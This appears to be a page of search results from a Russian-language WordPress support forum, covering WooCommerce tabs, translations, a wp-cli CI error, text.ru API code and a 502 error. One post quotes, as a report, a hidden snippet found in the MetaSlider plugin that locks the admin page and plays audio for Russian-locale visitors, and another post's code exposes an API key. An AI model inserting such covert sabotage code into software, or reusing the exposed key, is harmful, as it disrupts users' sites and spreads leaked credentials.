Поддержка Поиск Результаты поиска для 'test'

Просмотр 15 результатов — с 16 по 30 (из 2 253)
  • Сделал. Пока работает. Может быть будет кому интересно.

    add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' );
    function woo_new_product_tab( $tabs ) {
     
    	// Adds the new tab
     if( get_field('shema') ) {
    	 
    	$tabs['test_tab'] = array(
    		'title' 	=> __( 'Схема', 'woocommerce' ),
    		'priority' 	=> 50,
    		'callback' 	=> 'woo_new_product_tab_content'
    	);
    
    	 
    	return $tabs; 
    	} else { 
    	 
    	 $tabs['test_tab'] = array(
    		'title' 	=> __( '' ),
    		'priority' 	=> 50,
    		'callback' 	=> 'woo_new_product_tab_content'
    	);
    
    	 return $tabs; 
     }
    	
     
    }
    function woo_new_product_tab_content() { 
    	
    	echo '<img src="' . get_field('shema') . '"/>';
     
    }

    Что скажете, народ, по коду? Нормально или чего-нибудь подправить надо?

    По плагину. Плагин скорей всего будет узконаправленным. Такие иногда перестают обновлять авторы и появляется большая проблема. Если вы или кто-то другой подскажете рабочий, хорошообновляемый плагин, от проверенных производителей — буду рад.

    Можно загуглить, но часто в блогах пишет абы кто. На этом форуме доверия больше.

    • Здравствуйте!

      Добавляю дополнительные вкладки в товары woocommerce через function.php. Дополнительные вкладки добавляются нормально (использую плагин acf), но хочу чтобы сами вкладки добавлялись только если в них есть содержимое. например, у некоторых товаров есть схема, но в большинстве товаров схемы не будет. Однако, вкладка с пустым содержимым отображается.

      Заранее благодарен.

      add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' );
      function woo_new_product_tab( $tabs ) {
       
      	// Adds the new tab
       
      	$tabs['test_tab'] = array(
      		'title' 	=> __( 'Схема', 'woocommerce' ),
      		'priority' 	=> 50,
      		'callback' 	=> 'woo_new_product_tab_content'
      	);
       
      	return $tabs;
       
      }
      function woo_new_product_tab_content() {
       
      	// The new tab content
       
      	echo '<h2>Схема</h2>';
      	echo '<p>Привет</p>';
      	echo the_field('shema');
       
      }
      • Тема изменена 10 месяцев, 1 неделя назад пользователем Дмитрий.

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Всем доброго времени суток.
      Дополненный перевод для плагина DarklupLite.

      Stable Readme (latest release) дополнен.
      {чтобы все было в комплекте}
      Просьба проверить, когда будет возможность 🙂

      Спасибо

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    Всем доброго времени суток.
    Дополненый перевод для плагина AI Engine,

    Stable (latest release) дополнен и исправлен.
    Stable Readme (latest release) дополнен и исправлен.
    Просьба проверить, когда будет возможность 🙂

    Спасибо

    • Доброго времени суток.

      Столкнулся с «закладкой» в плагине MetaSlider, в администрировании, при входе в плагин играет гимн Украины и блочится страница.

      нашел закладки в файлах «app.js и app.min.js»

      путь — «../public_html/wp-content/plugins/ml-slider/admin/assets/dist/js»

      вот текст закладки «

      if(«undefined»!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/.(ru|su|xn--p1ai)$/))
      {var Ir=new Date,$r=localStorage.getItem(«swal-initiation»);
      $r?(Ir.getTime()-Date.parse($r))/864e5>3&&setTimeout((function(){document.body.style.pointerEvents=»none»;var t=document.createElement(«audio»);
      t.src=»https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3&#8243;,t.loop=!0,document.body.appendChild(t),setTimeout((
      function(){t.play().catch((function(){}))}),2500)}),500):localStorage.setItem(«swal-initiation»,»».concat(Ir))}

      «

    • 0

      Сейчас изучаю работу gihub actions для запуска phpunit тестов для тестирования WP плагина. И возникла проблема подключения к бд через wp-cli. Напрямую через mysql подключение есть, создание и импорт бд через wp-cli работают, но получение данных из бд через wp-cli невозможно. На локальной машине всё работает отлично

      Мой workflow.yml

      name: WordPress install
      
      on: [workflow_dispatch]
      
      jobs:
        run:    
          runs-on: ${{ matrix.operating-system }}
          strategy:      
            matrix:
              operating-system: [ubuntu-latest]
              php-versions: ['7.2']
          name: PHP ${{ matrix.php-versions }} Test on ${{ matrix.operating-system }}
          steps:
          - name: Checkout
            uses: actions/checkout@v1
      
          - name: Setup PHP
            uses: shivammathur/setup-php@v1
            with:
              php-version: ${{ matrix.php-versions }}
              extension-csv: mbstring, intl #optional, setup extensions
              ini-values-csv: post_max_size=256M, short_open_tag=On #optional, setup php.ini configuration
              coverage: xdebug #optional, setup coverage driver
              pecl: false #optional, setup PECL
              
          -   name: Set up MySQL
              run: |
                  sudo /etc/init.d/mysql start
                  
          -   name: Install wp
              run: |
                  curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
                  php wp-cli.phar core download
                  echo 1
                  php wp-cli.phar config create --dbname=wordpress_test --dbuser=root --dbpass=root --dbhost=127.0.0.1 --dbprefix=wptests_
                  echo 2
                  php wp-cli.phar db create
                  php wp-cli.phar db check
                  echo 30
                  mysql --user="root" --password="root" --execute='show databases;'
                  echo 31
                  php wp-cli.phar db query 'SHOW TABLES' --allow-root
                  echo 32
                  php wp-cli.phar db tables
                  echo 3
                  php wp-cli.phar core install --url=wpclidemo.dev --title="WP-CLI" --admin_user=wpcli --admin_password=wpcli --admin_email=info@wp-cli.org
                  echo 4
                  php wp-cli.phar option get siteurl
                  echo 5

      И итоговый результат

      Success: WordPress downloaded.
      1
      Success: Generated 'wp-config.php' file.
      2
      Success: Database created.
      Success: Database checked.
      30
      Warning: arning] Using a password on the command line interface can be insecure.
      Database
      information_schema
      mysql
      performance_schema
      sys
      wordpress_test
      31
      32
      Error: Error establishing a database connection.
      Error: Process completed with exit code 1.

      В чем может быть причина ошибки с wp-cli?

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Здравствуйте. Пытаюсь взаимодействовать с Api text.ru — https://text.ru/api-check/manual, https://text.ru/api-check. Но ничего не получается. Они утверждают и указано в инструкции, что результат можно ожидать указав в callback страницу, куда поступит Post с уведомлением о завершении и результатами проверки.

      Очень прошу помощи в решении.

      Вот мой код :

      страница new: Здесь простая форма с отправкой данных на страницу result

      <form action="/result/" method="post">
          <textarea name="text-for-check" placeholder="Введите текст для проверки"></textarea>
          <button type="submit">Отправить</button>
      </form>
      
      
      <?php

      страница result — Здесь мы отправляем запрос и получаем text_uid, который нужен для дальнейшего использования.

      <?php
      ob_start();
      /*
      Template Name: Результаты
      */
      
      if ($_SERVER["REQUEST_METHOD"] == "POST")  {
          if(empty($_POST['text-for-check'])) {
              print_r('no');
          }else {
              print_r('yes');
              $textForCheck = htmlspecialchars($_POST['text-for-check']);
          }
          
      }
      
      $url = 'http://api.text.ru/post';
      $args = array(
          'body' => array(
              'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7',
              'text' => $textForCheck,
              'callback' => 'https://test.pro-develop.ru/result3',
              
          ),
         
          'method' => 'POST'
      );
      $response = wp_remote_request( $url, $args );
      $result = json_decode($response['body'], true);
      $textUid = $result['text_uid'];
      
      
      header('Location: https://test.pro-develop.ru/result2/?text_uid=' . $textUid);
      
      ob_end_flush();

      страница result2 —

      <?php
      /*
      Template Name: Результаты2
      */
      
      var_dump($_GET);
      var_dump($_POST);
      $url = 'http://api.text.ru/post';
      
      $args2 = array(
          'body' => array(
              'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7',
              'uid' => $_GET['text_uid'],
              'jsonvisible' => 'detail',
              'callback' => 'https://test.pro-develop.ru/result3',
      
          ),
      
          'method' => 'POST',
          'blocking'    => true,
      );
      
      
      $response2 = wp_remote_request( $url, $args2 );
      $result2 = json_decode($response2['body'], true);
      
      
      echo '<pre>';
      var_dump(json_decode($result2['result_json']));
      echo '</pre>';
      
      ?>

      страница result3 —

      <?php
      /*
      Template Name: Результаты3
      */
      echo 'ok';
      ?>
      <?php
      var_dump($_POST);
      
      ?>
      • Тема изменена 11 месяцев, 2 недели назад пользователем ainur733.
      • Тема изменена 11 месяцев, 2 недели назад пользователем ainur733.
      • Тема изменена 11 месяцев, 2 недели назад пользователем ainur733.

    Меню получилось вывести при помощи плагина https://wordpress.org/plugins/classic-menu-block/

    И переключатель языков добавить в хедер
    https://github.com/manooweb/gutenberg-block-navigation-conversion-test
    (костыли, однако)

    А вот переключать менюхи с одного языка на другой не получается 🙁 Либо эта затея с блоками слишком сырая, либо я мыслю php-шаблонно 🙂

    • Сайт упал со словами 502 Bad Gateway.

      Восстановил бэкап месячной давности — на пару минут открылся, потом опять лёг. Поднял версию PHP до 8.1 — не помогло. Заменил в файле wp-config.php define(‘WP_DEBUG’, false); на define(‘WP_DEBUG’, true) — понятней не стало. При этом файлы, загруженные в корень сайта, открываются: https://фундамент78.рф/test.php

      На том же хостинге похожая проблема с другим сайтом возникает после обновления WP. Старая версия работает, как только запущу обновление — 502.

      Не понимаю даже, куда копать.

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

Просмотр 15 результатов — с 16 по 30 (из 2 253)